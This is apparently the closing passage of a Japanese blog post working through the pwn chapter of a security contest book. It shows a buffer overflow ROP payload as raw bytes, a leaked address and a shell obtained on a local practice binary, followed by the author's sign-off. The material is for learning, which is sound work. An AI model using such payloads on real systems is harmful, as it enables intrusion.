b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\x83\x04\x08M\x85\x04\x08\x01\x00\x00\x00\x18\xa0\x04\x08\x04\x00\x00\x000\x83\x04\x08M\x85\x04\x08\x00\x00\x00\x00\x18\xa0\x04\x08\x14\x00\x00\x00`\x83\x04\x08BBBB\x1c\xa0\x04\x08'
b'\x103\xc2\xf7'
ret=b'\x103\xc2\xf7', len(ret)=4
[*] Switching to interactive mode
$ ls
aslr.py
atk.bin
bof4
bof4.c
bruteforce.py
leak.py
peda-session-bof4.txt
peda-session-dash.txt
pwnable.log
$ id
uid=1000(user) gid=1000(user) groups=1000(user),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),106(netdev),113(lpadmin),114(bluetooth),121(scanner)
$ exit
[*] Got EOF while reading in interactive
$ exit
$ exit
[*] Closed connection to 127.0.0.1 port 4000
[*] Got EOF while sending in interactive
ステップ5 は、これで以上です。
おわりに
今回は、セキュリティコンテストチャレンジブックの pwn の章を実践してみました。
9年前の書籍なので、環境が変わってるということもありましたが、ページ数の割りには、内容が濃いので、だいぶ長い記事になりました。8万文字を超えたのは初めてです(笑)。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。